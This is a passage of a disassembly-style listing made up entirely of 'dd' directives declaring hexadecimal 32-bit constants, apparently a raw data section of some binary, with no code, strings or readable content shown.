0EE4DE7C3h, 16939807h, 9E10BE7Ah dd 13664Ch, 439AE490h, 46F98FC7h, 0B62B1C00h, 39A99625h dd 9AD3DFAh, 800FDB1Eh, 0ABF73095h, 8007AF5h, 0EA1A9636h dd 908CF0h, 54501F6Fh, 0B8A632B6h, 0D700B97Ah, 0F55915D1h dd 0A5B0D6h, 0EB28EE6Fh, 7E279313h, 34457800h, 236ACA82h dd 0EE680FA9h, 809FBF46h, 8969C796h, 16E23438h, 944FE607h dd 2CD060D0h, 0F0A6B1Eh, 0F55E67A5h, 0B7B22203h, 0F06D12F9h dd 6C003C03h, 0E53841F7h, 4220ACh, 3F86B1E3h, 54329CF3h dd 0B264DC01h, 8F176EE7h, 0E0C75721h, 0C0D066F1h, 0C3B45B3Ch dd 0DB002CA4h, 0D44A9A69h, 39470B43h, 1600539Dh, 898B75CBh dd 0CCECEE11h, 207E631Fh, 0AD6C72C0h, 3C18FAh, 4514F8A0h dd 3FD4FD55h, 58C80302h, 6022376Eh, 1961577h, 8C91ACFCh dd 0E0C04AC9h, 0D3003E3Fh, 1335593Ch, 0A37B4CE1h, 0C5FC82Ch dd 0B17AD2h, 3CD63D15h, 945A0F5h, 8947540Ch, 53682Bh, 4E7A696Bh dd 8201F4E2h, 72976012h, 249F6847h, 1BCF3720h, 0B5930079h dd 2AD58A67h, 0E60071B7h, 8DCDD149h, 1FC98277h, 5D36AC53h dd 6498C184h, 0C06D9352h, 7F009041h, 0DD197A99h, 0FCC5376h dd 0ADBA30E5h, 382AC760h, 0E8A0283Bh, 4475F4F9h, 0FF523F00h dd 0C81D653Eh, 95CE004Ah, 0B989F00Fh, 8400A2C7h, 0D3062FB0h dd 3C474E90h, 8E801088h, 48AAE912h, 8A07A045h, 0C8B337AEh dd 62A800A9h, 18392F01h, 5866247Eh, 0E50073B7h, 3413D504h dd 3D80AC3h, 0F85BCD67h, 38F670CAh, 0F0033E76h, 7B2F2C5Dh dd 2B128180h, 0C0EA3360h, 0CA230620h, 0C7506E45h, 3700EE9Ch dd 570E240Dh, 2ED372h, 942CF796h, 65F38D84h, 7B8CB00h dd 2742FF04h, 0ED5E0077h, 4FBBEA1Ch, 0C638D6F0h, 0AA9280D5h dd 0E89E19B6h, 63BE5C31h, 0EFFE2Ch, 0E2957EABh, 0C700BBB4h dd 62CF1A1Dh, 3C209B4Dh, 0DD00332Ch, 6AFB0540h, 7B0087FCh dd 0AA5EE3BCh, 182CCCBDh, 282052BBh, 0AD0484B6h, 0CF0C1074h dd 0AEEB05FAh, 3E2B8170h, 280422F3h, 0AC002C41h, 629A133Fh dd 0CD16B7h, 0DAF4FC37h, 446C9B53h, 47FF5A00h, 703E18F7h dd 0A318C01Bh, 5887DB6Fh, 9E249150h, 61FAFF33h, 787777h dd 0FBF3F203h, 0A14552B6h, 1684EF07h, 5750FDABh, 3BE11CADh dd 2454E90Bh, 155F1418h, 9C15EFD3h, 21113044h, 0D87507F4h dd 0CC10CF0Bh, 0FA197B0Ah, 92F107DFh, 0F5610FB0h, 213DC088h dd 5A1CDC6Ch, 6F80DEBBh, 0A427A8D6h, 81F52880h, 0EE95EACFh dd 2B00AD0h, 9111BCh, 501D57C8h, 137775CAh, 79660430h dd 7D30445Eh, 1C5C00DCh, 0DAEB7C73h, 9E0B2B47h, 0BF0507h dd 12780805h, 0CEB40397h, 58AADFFAh, 151A4112h, 835F9C20h dd 342D001Eh, 0DA452BC6h, 0BE0FB2F1h, 4E579A3Fh, 2D0697FAh dd 0C305F9Eh, 0E358781Fh, 18554249h, 0D332F08Ch, 3B8788h dd 79B717DCh, 0E5BFBC4h, 0CDCE8E01h, 9BAAC992h, 6791422h dd 1C7D5564h, 5BE691E4h, 9743FF00h, 9CDADC0Bh, 7FB7269Bh dd 84D0001Ah, 769E6044h, 58041B02h, 485BB9D4h, 172C90h dd 7B5FB3EBh, 86D61A0Dh, 2569607h, 600E979Ch, 485D4222h dd 0ED33009Bh, 0C40940FCh, 19F88EF0h, 9CE1AB60h, 178D4358h dd 0CE24487h, 85D9F861h, 27C5F900h, 0C3B18B5Dh, 0D39D01D9h dd 6443B4E3h, 0B34180ACh, 813F6929h, 6C820058h, 0C684554Eh dd 640028E4h, 9DA13A4Ah, 55AEB3Ch, 75AAC04Fh, 5D884035h dd 41CFE6F2h, 17C711C0h, 5C7AE3h, 9BDD0EBEh, 149CD134h dd 0DB959600h, 0DAFAD02Bh, 6874B4h, 6C93FD21h, 0B3679E78h dd 191D231Fh, 30AD0741h, 0C99460F6h, 0A60030D7h, 0C2BC704h dd 12715AA3h, 0B58F090Bh, 4A8A8068h, 3A82F648h, 0F4541C81h dd 0A48000CBh, 0E21B1ED4h, 1301CC2Dh, 1052C4B2h, 80F1FACFh dd 30C531D8h, 7A71D7E5h, 9014DD3h, 7867CF4Ch, 2022EA52h dd 9A006321h, 0C8FC3258h, 4D4700B4h, 0CE3952F5h, 0ED6273AAh dd 201E1C31h, 0A9147C09h, 9F1C707Ah, 0DC810D78h, 0CA32716Dh dd 0E17993h, 0AFD5EC8Ch, 0D6001BB9h, 821B781h, 248266BFh dd 47EC69CEh, 842AB3C4h, 0FD1927D0h, 86810C3Dh, 0F7326CBAh dd 85E21F51h, 2CD2C0B1h, 63CEB061h, 83D20A0h, 0B72E3109h dd 9548205Dh, 79BA29Ch, 0A952ADB5h, 0B0FB7045h, 85012435h dd 79517D8Ah, 9CC58149h, 54CFD1E8h, 465CC0Dh, 87F9BA40h dd 965B8019h, 810E4F75h, 40C3C9E5h, 36CA92ABh, 0E977BEDh dd 1DA02E52h, 0AED56E81h, 0E82CC8AAh, 687820FBh, 4D0294EAh dd 9AD7A2F4h, 0F70407Fh, 7E550040h, 359B4ACFh, 0C6583DA9h dd 193ED7h, 8DFAC36Ch, 9673BF5h, 0CFC95EB7h, 4E9E003h dd 4E8840B5h, 2C90C1F1h, 1C79A700h, 0E73C5758h, 362703EAh dd 0BB6A5CD9h, 70319EAh, 264BA074h, 0A6C838A2h, 93ADC50Fh dd 29ACEDC0h, 0B753CDD3h, 1DE400A8h, 0B8A79C5Dh, 9E500086h dd 529F0954h, 0C60A06C0h, 9848D734h, 0C7EE228Eh, 7B6086D0h dd 9A971DA6h, 5FC70028h, 0C542D349h, 8848C49Ah, 0C31C4040h dd 0E0D48700h, 232F19BDh, 77823064h, 0D5A3D6B1h, 951B4900h dd 0FBEE7CAFh, 730C0001h, 0F5D47ECEh, 891FDCE4h, 0F652B73Bh dd 7417F800h, 14617F02h, 0C8559A90h, 9889B91Eh, 50162069h dd 6ACEF50Ah, 0FA00741Fh, 78A1E7BAh, 993C6173h, 9DAD9F42h dd 0C0A6EA89h, 0AC75C08h, 80C0F04Bh, 0DEA1B216h, 840058CBh dd 30B14E5Bh, 90A78F08h, 4C7114E3h, 0D01DE44Dh, 0B9280F0Eh dd 1CF49802h, 0AA039090h, 88D65501h, 420F68F0h, 30312820h dd 798192B8h, 5F002B6Ch, 4DA3492Ah, 63049722h, 0CA76D046h dd 0A63BD481h, 0F100ABB9h, 0DFAA603Eh, 0E188007Ah, 2A241BFh dd 2002D0B3h, 92CE575Ch, 7468C65Ah, 8B050148h, 0C05E9068h dd 0E45CC9C7h, 723D2A14h, 0FF91828Ch, 91047078h, 0A087690h dd 0B745F508h, 0B49D5Bh, 2787CE0h, 9900D3FAh, 70158E0Ch dd 164E710Fh, 201D963Ah, 39E7F480h, 5046E300h, 43C3C0DEh dd 94B20767h, 21BB04BFh, 0BF379B78h, 7D648179h, 0F0C5294Dh dd 0A1D21CC9h, 2FEEFCE4h, 0E59D2E8h, 74BCC637h, 2C0D9CC1h dd 69C42056h, 854E5700h, 0B78DB3C9h, 13C1C063h, 0C7200F8Fh dd 55067A12h, 11153B06h, 38230059h, 0EF716FCDh, 2290D416h dd 57F0B600h, 0C20D9214h, 414E181Dh, 8E1FD1ADh, 4ABEA600h dd 1276E654h, 92D07545h, 95560038h, 7DF37E70h, 0A21EBEFBh dd 80FAA075h, 9DC1C3F1h, 10B91560h, 88951A43h, 6DCE80C9h dd 76F60613h, 0C77C1500h, 9E981E34h, 78A759D6h, 42063F31h dd 76E230F5h, 29FA3E00h, 2CC9BFC3h, 0E0302E97h, 459A40D0h dd 0D06704D5h, 4670E811h, 38C412Ah, 819A106Ah, 5EA0E1A0h dd 0D42A1A8Ah, 7879C442h, 0F6B3BD00h, 0EF198344h, 367D02EEh dd 7E46F37Fh, 0C73928E6h, 168800FEh, 0A82C607Ch, 98EF0099h dd 45FCF06Ah, 500A084Dh, 0A076B70Fh, 0EFFD9980h, 77D87BAh dd 29063D69h, 0D62070CFh, 0FA75FB4Bh, 8078900h, 0EAB88CF7h dd 9EDD00CEh dd 0A5352D1Bh, 34BACF5Bh, 0F805A6F6h, 121536D8h, 2063E84Fh dd 8A52B590h, 0B4BC00BBh, 8DC009E2h, 6A091647h, 10CF4E26h dd 6BCC38h, 1E667CA0h, 9256AEE2h, 0B30B7098h, 10D648FAh dd 0CD0E18h, 51791C65h, 87DBC7A1h, 0B1E12200h, 859469C4h dd 0CF8E1D1Ah, 0B5FAC013h, 5FC0C3E4h, 533E4AE6h, 3D0D8F4h dd 0F6D4655Dh, 8DECA825h, 0BA4C0852h, 8716C75Ch, 18671B00h dd 0A062C4h, 0DAB2F085h, 0A388E0A1h, 0C2CEFB13h, 0D480E024h dd 9117413Dh, 25E403D4h, 217BC315h, 0A4B4DB00h, 729B0AFDh dd 0C58409D4h, 7098396Fh, 15E802DFh, 0F2D12A02h, 98D62F1Bh dd 2761D4h, 4D1A28D3h, 0C2C3BA56h, 0E867AF00h, 9BA4B89Fh dd 0AC323C57h, 0DA6E5804h, 91DCA404h, 0C65C290Eh, 8CC24020h dd 12B8B7F8h, 201DAFF6h, 9C77551Ch, 0B110B400h, 523C69A1h dd 0A04D0982h, 408DE81Fh, 26F4DCC9h, 8B58C43Dh, 13B7BEBAh dd 43118020h, 509D000Eh, 62515339h, 0EA00E01Ch, 265DAC76h dd 29685B9h, 66718CFDh, 26C1849Ah, 0D5418078h, 0AAD08245h dd 2350003Dh, 6A4EDAF0h, 84E858FBh, 0E118A502h, 644F783Fh dd 3D64058Ch, 201DA12Fh, 0B25677B4h, 9A2E1C67h, 0FD598260h dd 9132F4D9h, 0E0090EBCh, 65B6A500h, 2CF203A3h, 957AFA3Fh dd 18889A1Ch, 0E58EED16h, 0F4BF02C4h, 0E0D34884h, 64142C68h dd 0CF03E800h, 0C7D8C4FDh, 1840192h, 0C9705699h, 0FCAC49C2h dd 79D3F52Bh, 1BCE5B00h, 0C0981583h, 0B1B56EB1h, 96057324h dd 61B742C7h, 0AFA48840h, 979A190h, 9B7AB12Ch, 62499418h dd 0B4B54300h, 501F8D8h, 25FA01C4h, 3A515B57h, 10639Eh dd 361C429Bh, 0B515DFh, 723C3EA3h, 0F3916A58h, 0C455CF02h dd 52FE30D3h, 0ADA21260h, 72308071h, 9E01853Bh, 87577AA6h dd 75204502h, 301E269Fh, 0CF1F007Ch, 74AAE792h, 7446EB4Ah dd 30815C17h, 7759CD32h, 9E000B02h, 2ECA98C1h, 0E0809D5Eh dd 68AA0CEFh, 0E29CF32h, 8A4F5800h, 0D6409907h, 127741h dd 0D8B02DB2h, 825D7D2Fh, 29582000h, 3F0AF4ADh, 52E216A1h dd 60E43734h, 6D88B330h, 9B6FC317h, 1B025016h, 0C0188197h dd 4B42D968h, 788445A0h, 6EF02099h, 0CE6004ECh, 0B983AD91h dd 4D72288Fh, 398712F8h, 1F016ABh, 3422C978h, 30C1E13Eh dd 0BE137D30h, 2090B8FAh, 0FE0B0156h, 84460792h, 1952D8BFh dd 6FFF4082h, 8700F046h, 38B2D0B5h, 1D25B8C4h, 5862E884h dd 0D27B21AAh, 0FB6B3Ah, 0A20E4137h, 4FE4E4Dh, 304B9079h dd 9F3488F8h, 96B42B26h, 5C005117h, 8E52D37Fh, 54342C9Eh dd 353F005Ch, 0FA9255F7h, 2A837302h, 4660205Ah, 0B678004Ch dd 0B5E92B8Fh, 9F03B9F6h, 82B14267h, 7C910060h, 34B0BBFAh dd 0E007847Fh, 4BD878C1h, 0F6A98EB0h, 646200C3h, 5BE5684Ah dd 494B2DBh, 0CB3C3F60h, 7981E818h, 7FEB18DEh, 1F401A58h dd 0A729EE6Eh, 0C510FC73h, 4F0EB8h, 54740CDAh, 5178BD84h dd 830B20Bh, 494004C1h, 52BBC83h, 0FBF53D61h, 0FAB40395h dd 899D30A6h, 309021C4h, 388CAC4h, 7BE075Dh, 0D064C081h dd 0D0960CE2h, 0DB2C1714h, 0FF5107A0h, 0C6E0D1B3h, 0AB08631h dd 1C206A9Fh, 0DFC04098h, 5804ED34h, 0B778B50Dh, 1E5D4488h dd 0C0B1D994h, 6B8E3CACh, 41344309h, 0C800217Eh, 0A4D0CFBAh dd 0FA4D3A46h, 27159Dh, 0CDDA85F9h, 3A3E5E11h, 178C5221h dd 0F21D36A7h, 0D7589F00h, 124DE983h, 0C82D6AC9h, 0A5242628h dd 0B7403082h, 75310Eh, 0E950E24Ah, 0BB84BFB0h, 60001499h dd 4DCA5EA4h, 0DC9B00F7h, 5039D998h, 9FE2CE6Eh, 24B4515Ch dd 8540ECB7h, 0F1531Ch, 0B85B2ADEh, 45EF4296h, 0EAE8BA00h dd 85560B3Dh, 50A0F2B3h, 1A74C1Dh, 2F0AC3CAh, 3065BA42h dd 0C5FA84E8h, 0C8FB2B2Ah, 2628CD4Ch, 960098CCh, 3807A53Ch dd 0B6C9297Bh, 10997F0h, 0C0E44DD9h, 20E931C3h, 0A47683D3h dd 78516F09h, 0E7BCCB7Ah, 0C0A22C50h, 0BF489961h, 40F1C41Eh dd 1EF32F16h, 4F0020BFh, 8A0F3863h, 9C875Bh, 0EC030972h dd 6F079B32h, 4A9ACF39h, 0F3B23040h, 3886E9DFh, 26002432h dd 1999F895h, 16003F3Ah, 57F04364h, 99D5D827h, 803C87E0h dd 0A990407Ch, 9B06ABDDh, 0DF587870h, 0D0942C59h, 51D460E0h dd 5C02994Dh, 9F18FA2Ah, 7364E0CEh, 0B78F16B4h, 97D01381h dd 308279C8h, 0A8902D30h, 0CE3E2F9Ah, 401E007Fh, 6ACFAFB3h dd 21CC604Bh, 18C705E0h, 0DBA0017Ah, 0F803D355h, 71B25F34h dd 0F350EF08h, 129E7CABh, 2B73964h, 1A3669ECh, 0EC297C61h dd 0F6522B30h, 536E3AE0h, 171005D4h, 84B4E4C5h, 0D8851D58h dd 88003EA6h, 9ED91E70h, 0FF3C6C25h, 14CCC0Bh, 6FB80CE5h dd 0E8288285h, 47ACC980h, 46037701h, 30B4FC48h, 0E27DD0B0h dd 429C03B3h, 65A14456h, 0F49112E2h, 5CC307Ah, 880E8532h dd 5D7F20D7h, 560014EFh, 282CD46Eh, 7116A16h, 6264BD7Eh dd 91E1C454h, 0DC633A44h, 61F5B85Dh, 0EE75E924h, 0C2008859h dd 6346E5EEh, 8CA601AEh, 0F88EB4B6h, 8282E115h, 0D8F00480h dd 917A609Eh, 316980Bh, 0CA34CF6Eh, 4926FBD1h, 6540F8B6h dd 9CD399h, 1BE366D0h, 0EBA1CCA0h, 29FAB00h, 0C38C3A9Eh dd 0CE6A0164h, 0DCAADE92h, 207376h, 0AE09AB8Bh, 67D3F6A1h dd 0E12620BDh, 36C8C955h, 3ED0194h, 64A41B9Fh, 3C9B55C4h dd 0FF16BC28h, 0C8A20BBEh, 57E9A449h, 9941E0C4h, 18005098h dd 0B063207Bh, 0B5026Ah, 0A7530869h, 0D1CE96F9h, 3D6C3251h dd 0F5550014h, 85C44508h, 674900A4h, 2D7F17C2h, 0B705FE37h dd 0F00A056Ch, 541D0880h, 765226A6h, 0E6806FA8h, 0A9424F21h dd 0F62EF90Ch, 4FCDA1D2h, 8E34305Dh, 78100595h, 5D80379Bh dd 0E3B6CA1Dh, 41EBD0BAh, 20F36E2Ch, 4B26B412h, 0C6092C3Dh dd 345C901Ch, 7FE004Ch, 8B464232h, 3F046638h, 0D8DFC4E1h dd 0B4151E45h, 7A507D1Ch, 0C9018382h, 0EAAF1157h, 85CCEBF0h dd 21B530CEh, 0A6551829h, 0D040164Eh, 7681AB88h, 71843DF7h dd 0FF1CBE02h, 18C41A42h, 31A53B00h, 847C9238h, 0D5F101B9h dd 7E7B0816h, 405AC642h, 1DB7D308h, 7239802Bh, 0CCEC3E0Bh dd 96BD7F02h, 0D13A053Fh, 51AC00E0h, 2A58E05Ah, 0B052930Eh dd 5E23204Eh, 7965E6A2h, 96642775h, 0E8F26490h, 5BC1B700h dd 928F03B4h, 6E2B0FCDh, 1520C2A5h, 8297E7F8h, 85809899h dd 0F3D7FDB7h, 0DCF5001Dh, 6563C420h, 410195A6h, 0B90155C1h dd 0BC485FCDh, 0B02752C4h, 60B87D2Ch, 0F0C2CA0Ah, 0F4BC423Eh dd 47084C05h, 681C82CDh, 0F5D1B040h, 775A8C7Dh, 5BE400B6h dd 9F773EB2h, 0DA0EBEDFh, 248122A2h, 0CCE2B63Bh, 95069000h dd 286CF3E8h, 0D3402F00h, 15FE8B23h, 0F581C130h, 0D95A9141h dd 0FD65CC7Bh, 2ED19E0Fh, 0EBBFA7CEh, 64A1B0D0h, 133CF087h dd 524ACAh, 2AFA4C42h, 0D12F68D4h, 238424D2h, 0AD2D4C80h dd 94DF776Bh, 38290124h, 69CF9B46h, 0DDDC1E94h, 6D88B680h dd 6607A0Ch, 12A43B4Dh, 6F01C873h, 0AE47F530h, 54308005h dd 762A00A5h, 162BE863h, 32300896h, 460CE96Bh, 38E80Bh dd 6AF509BAh, 9A1A5DC2h, 8266580Fh, 51D6C4D9h, 0C9C884C1h dd 0ADEEF9C3h, 40304C0h, 0B3F387FAh, 0F5B0C310h, 6439E8C8h dd 22307D4Ch, 24F10921h, 20F4D1h, 60FFAE9Fh, 78147900h dd 8C6E2791h, 0CBEA6Ch, 64A9063Fh, 9D92CA03h, 0C040014Ah dd 69A35BD4h, 0BEBB00BAh dd 7F8C5745h, 0B71298B3h, 48203255h, 0ED969Eh, 1EEF6E7h dd 0EA6B863Dh, 0A5FFA400h, 0B8F87283h, 0BB8B811h, 5622EC7Ch dd 43A85860h, 0A13A5D12h, 556F7CD1h, 59A44FD1h, 4C44251Ch dd 0CB405494h, 3BD265ECh, 0CD004F8Eh, 29D70D85h, 0F602287Ch dd 0B82F8B0Bh, 18C84865h, 74AB0132h, 0C0A58E78h, 0FB14F44Dh dd 1C00D37Ah, 982C019Fh, 4CB7E7CCh, 8D0040BEh, 296BE0BDh dd 78273845h, 6A7C1073h, 0FACD1DD1h, 405116C8h, 9C5DCAC4h dd 6E0755F6h, 2A183ABCh, 0C0E29D90h, 1B0E2C64h, 0D9500018h dd 3390B44Dh, 3040155Fh, 0DEA34732h, 0A1AD1D8Ah, 0C418145Eh dd 608CC824h, 45CFB74Dh, 0DAE0B400h, 74B28A43h, 0BDDE2529h dd 6A013410h, 885BA300h, 386249ADh, 82A01833h, 0E3392161h dd 9A68C602h, 0E1073E1Eh, 0FA10EAA8h, 950205C3h, 0E932FC39h dd 4CC48391h, 0FAF91336h, 0E1E48847h, 5DDE3B00h, 1B7A740h dd 568F0068h, 4ABD8038h, 46094318h, 91D671A8h, 0C8307C40h dd 0E0DA0022h, 2A0217F6h, 5C4BFBC5h, 65A20030h, 0F132376Fh dd 0D039F069h, 0A72C70EBh, 6A82F41Eh, 592D51D3h, 41151FF4h dd 0A1B2DF74h, 27BC3216h, 0C24FED8h, 0D358E9BEh, 24222C00h dd 61640A1Eh, 70AA54CBh, 0D4E95C6Eh, 8702E12h, 3980E340h dd 0B8B1E567h, 0F20122BBh, 0CACD5Ch, 117E1E5Ah, 5FF809Dh dd 9E59B3F5h, 5F0CC55h, 0A543EC00h, 21795171h, 0B5D000F0h dd 0C74CB2A6h, 6360CDD3h, 0A6EDD81h, 0F5A501C0h, 7580D8F1h dd 58886D32h, 0B2810E73h, 490280ABh, 0F82C8A31h, 1AED3F6Dh dd 3FC82F01h, 30ADA9D3h, 4278BB4Ch, 0E88CB309h, 2C593Eh dd 0F7B75A31h, 40911605h, 0C6C2F600h, 4E8FB536h, 0FDC440D0h dd 7C14E70Ch, 827A2300h, 0F9539E70h, 78680D79h, 21B94777h dd 0DC90CF98h, 0CA2F309Ah, 0FEAC9960h, 0FC007423h, 64F7F90Dh dd 8C0E55A9h, 8082FB49h, 0AC51DF19h, 40F84A30h, 4A64A564h dd 38246F21h, 63603C6Ah, 1A0184h, 0F19D52F5h, 0AD55E068h dd 0A31D092Dh, 0D8BCC47Ch, 0F0B9AEFh, 807B5188h, 0A4F33700h dd 0B6008AF8h, 0BB845627h, 0BE16B705h, 7100BC50h, 0C7B1C6DFh dd 72502AE3h, 693FBDA0h, 219A8681h, 0FC89CB4Bh, 0A3B40256h dd 6A54B9CEh, 66432FE0h, 18E00D02h, 5CCF4F9Ah, 4DAC0038h dd 4AB6E508h, 4C07F8E0h, 8458EB3Ch, 0E6099492h, 1697F14h dd 0AACFCD66h, 0AC1FDE70h, 42606C18h, 4EA13F7h, 0AFE2E639h dd 0AE9AC0C6h, 58005215h, 2D61D717h, 0FEFA4613h, 0F8250BB1h dd 9C101D9Bh, 9CE45CBBh, 0FEC33D00h, 21AB7464h, 708609C2h dd 7C85B860h, 0AC64C288h, 25C80729h, 0FAC52D9h, 3C262E35h dd 1812E980h, 6700361Dh, 0FB753E88h, 958D449h, 0CAF6856Eh dd 0BC390C00h, 0E14BC54Fh, 0C40CA845h, 0AD7A3480h, 885890F6h dd 70BE350h, 0A6109549h, 0BB4CD089h, 0D4B8C9BCh, 6975CD12h dd 6C774A0h, 8A7B84AAh, 0D00B0EBh, 5D2925FAh, 777F0EDEh dd 16D87074h, 0C8B108C4h, 0F00091B4h, 347FB9Dh, 179F443Eh dd 0C86D1627h, 0D73E8A90h, 0AB2F0075h, 5E61D284h, 0B0C0005Dh dd 0E9867E55h, 0F50443BAh, 3F207209h, 26D08Ch, 0E1BE6B56h dd 31B7A104h, 0CF85C803h, 0FF0D631Dh, 0E0309651h, 0CBA58448h dd 54882348h, 0A4D83288h, 22ECFC84h, 0F62E2Fh, 269DCD04h dd 0AC00D18Ch, 9844FA6Fh, 12281A39h, 0A37B79h, 0EDA50398h dd 34A03251h, 3700FFB5h, 24AB817Dh, 5BB293EEh, 63FC4082h dd 1B83FC79h, 0E7C3A00h, 4F8840AEh, 101097D2h, 0C90071B0h dd 0B92DCB16h, 3B4C153Ch, 0B2029DDEh, 184307EBh, 3DBCA879h dd 6ECF97E4h, 5A5C4420h, 288AA3CEh, 40B611h, 0BB799404h dd 3FC924E1h, 60A16E00h, 559B8E31h, 0B0C426D3h, 0CAF0020Ch dd 0CD9F3B7h, 0BD636D00h, 17E252Ch, 9742714Fh, 2F7078FCh dd 28C83856h, 0E031EAB2h, 3BD8002Ah, 1ECA9D70h, 1B5F6445h dd 0C890F427h, 1EFC6A2h, 3F507A5Bh, 0D4574F3Ch, 9097CA5Ah dd 4D094h, 320DC209h, 55C0A130h, 8E42B00h, 0A48A5C96h dd 0A2292E95h, 0D71C066Ch, 0A097390Fh, 4AAEAD78h, 0DC9F00C8h dd 0BA1B6DACh, 480077DFh, 0B804F1CBh, 137E590Bh, 90F63045h dd 29C2CD98h, 0C851A0AAh, 1E615E00h, 3B353E48h, 19E0B5FFh dd 892577E4h, 0FE0516B8h, 3E529B6Bh, 84C0A400h, 16B174EBh dd 0D53226DDh, 0CE79005Ch, 30AF8AF0h, 0BDC60802h, 52D12064h dd 0ABDA1794h, 2986027Fh, 0F04A48F0h, 5DE170C3h, 0C14401Fh dd 9D026BD1h, 3C1E6F42h, 4158A09Ah, 1D5D7E95h, 0DD67BD5Fh dd 8CEE9Bh, 478B5538h, 3D387065h, 8A81B98Ah, 2C7A782Ah dd 0C652837h, 27E47080h, 2E9F0739h, 904AD09Bh, 0B54EA2EEh dd 0D06C51C9h, 57430B84h, 0F4E43C9Ah, 0FBF4DE00h, 7406388Dh dd 8453090Ch, 2458826Bh, 0B9F05471h, 67C5BE2Ch, 33B9E418h dd 6A430074h, 790F51F5h, 317F4793h, 80947ED4h, 35103A6Dh dd 365B0722h, 67974103h, 90837732h, 2D30A6A9h, 966048BEh dd 17CA472Bh, 27D06B64h, 353DB3C4h, 30142EE1h, 5F2C872Bh dd 0EA005822h, 0DA6ED8CAh, 4AB498E9h, 7C1020EFh, 0D2000771h dd 0C3AAB537h, 43043E7h, 3F641AF9h, 59D4E44Bh, 21E89400h dd 93CA8D1Eh, 80471CF6h, 0B614814Ah, 70AC625Fh, 4327B724h dd 1E984419h, 528964B8h, 7BE8E2F9h, 5DFE2503h, 0B0089BADh dd 0F2B6FA80h, 6BEF0146h, 571A388Ch, 34212A3Ah, 1C70A683h dd 0E6EB3869h, 0AB391283h, 0E10029FEh, 4AAC68A9h, 289BE819h dd 2E4B4CCh, 0C3EC479Dh, 7856A194h, 7AD12409h, 0B3FC07ACh dd 0D03E6DEAh, 69AEDF3h, 6C23C94Ah, 0E73D8A6h, 5AE611h dd 961E6D58h, 623FDFE9h, 0AC40D34Fh, 0F6B24074h, 56802C36h dd 9600005h, 0FA4DC33Ah, 135381Eh, 94F18907h, 0F5C079D7h dd 991DB870h, 0C2B10034h, 0D76A7DEDh, 74D1530Ah, 87169C36h dd 0C8305E19h, 19024868h, 21630CABh, 45C80D0h, 266780D0h dd 3E0B3182h, 934FD16Fh, 3CB83A74h, 51032554h, 5C457B96h dd 0BD1BA88Eh, 0CDCC17D3h, 0B6142269h, 73A0D8C4h, 8BE40D92h dd 0F7495D00h, 9F3AC635h, 0B6940088h, 0ABA68082h, 9E0B3DD2h dd 825EEC92h, 44CFD3BAh, 0F89D12BCh, 576164Eh, 0F64C20Bh dd 92403288h, 0FF43723Bh, 603184B8h, 7FC781CAh, 130E10CCh dd 7AB38B3h, 6192FF28h, 6C9B7AEDh, 0CF00DE58h, 65A4EA72h dd 63787F68h, 40397905h, 485271C2h, 3840089Eh, 248F8A6Eh dd 3940EFC4h, 58D73594h, 0CB948305h, 964C13Dh, 3A4638Bh dd 0DEDAF2CCh, 0D02985Ah, 45230149h, 0CA0DBA1h, 434BC961h dd 0EF890B4Ch, 598CECAEh, 0AC7EDA00h, 0C5528140h, 8E6813Dh dd 2AEC88C3h, 0FED28200h, 93C207CEh, 9EE40711h, 4EAD3EEh dd 0A464E4B7h, 0CDFE940Fh, 0ECD8809Bh, 4A67F5Bh, 0CEA5FFD1h dd 1EB8573h, 427D3010h, 88213F18h, 0AB08EA75h, 0BAD32E84h dd 50050000h, 0CD4B6355h, 1D482F88h, 87F4BB49h, 60B9133Eh dd 0B3A09C04h, 9E786A17h, 44157C92h, 90A10064h, 0D5D9174Ch dd 2A12B422h, 88D0D036h, 44257F8h, 82895AD4h, 0FAC8C0AAh dd 8F133DC6h, 60A39978h, 1CD37B14h, 4CC4000h, 52EC8C7h dd 3F002095h, 3EC3D44h, 0A516722Fh, 0AFB7105Bh, 7F847C60h dd 3A3A2558h, 9B027A68h, 50FCBE57h, 7FB05A32h, 0D3A0005Fh dd 0C6C1F570h, 45006198h, 0EC528431h, 9E21BFh, 2B8EFA3Fh dd 1DABA386h, 0A1000891h dd 28D7494Bh, 72D80050h, 81C9CDBh, 6F00CB57h, 559AB513h dd 191E48Ch, 0D7E6841Bh, 3C28BDE2h, 3E5807Ch, 0EC0A692Eh dd 0D13B0077h, 402BC6FDh, 8F08FA36h, 0B788C10h, 0E38B8223h dd 0F510A4C6h, 2905C238h, 0C8A79F42h, 7024E2A4h, 250938F6h dd 0AF0C8B8h, 0DBA00ACh, 138AA67Bh, 271129A8h, 5F3C79B8h dd 0A220E080h, 76C89328h, 8543C439h, 398F0182h, 0B807C0F2h dd 17D1E351h, 28F633D3h, 0A92D59E8h, 6C6A3D2Ch, 0B4024811h dd 3CF3E82h, 31404054h, 1280Ah, 0D558E50Dh, 68A66287h dd 18B38F09h, 4348049Ch, 622E508Dh, 8881551Ch, 0D0D5A644h dd 0E101F67Eh, 7FCDFACEh, 202F5352h, 8DF3D66Ch, 91B0F04Fh dd 0F85D4CA8h, 0E9165E09h, 2C76BC18h, 6DC92B00h, 0DBC0AFF4h dd 0DBB164Bh, 14B2F1h, 0AD2A2459h, 18205Eh, 0A84F2B86h dd 0EE85C2BAh, 0E71FB600h, 92CDE99Ah, 77AA2457h, 20AC64B4h dd 6EC09Ah, 0A9E27F59h, 89D6C99Bh, 0BAE55101h, 0D73464A8h dd 0C1008022h, 0E15F658Fh, 5D0044ABh, 0A7F46ACEh, 2490C93Ch dd 49C4DA0h, 0AC58EBAFh, 0A8828088h, 9FA5EAh, 0F77D200Eh dd 2773A44Bh, 39544320h, 2EF5B7A8h, 50903E85h, 6005D949h dd 1D12E39Ah, 48B90888h, 360767B2h, 3FD975h, 78233073h dd 0D82E547Fh, 160C9F56h, 2D31FCh, 0EAD62E10h, 6A8B9C9Ah dd 5DB6CA00h, 360803B9h, 0D27E01E2h, 7C5064A5h, 4C202EA6h dd 1378E68Ch, 7A433CFh, 60370248h, 0B2C49D6Fh, 524B557Eh dd 854154C8h, 0F6B1C980h, 0F8A671h, 3E4A7883h, 64FA55BEh dd 58042CB0h, 0D67E037Ch, 0A00004FDh, 0AF024470h, 0B774276Fh dd 42CBE31Eh, 4FAAEA02h, 40F935h, 3E294D54h, 570BB6F4h dd 71D51FA0h, 7378892Ch, 74C6086Ah, 2481DE00h, 23E683A9h dd 0B30A0050h, 8C53589h, 0C90A878Ah, 0E8B0F8C0h, 0E0952600h dd 4C2111F1h, 8B2E2050h, 6F482CDCh, 0F052E1C3h, 9802A83Eh dd 9E81265Dh, 1B2D0504h, 88CFCDB9h, 0C600A47Ch, 5A6061C9h dd 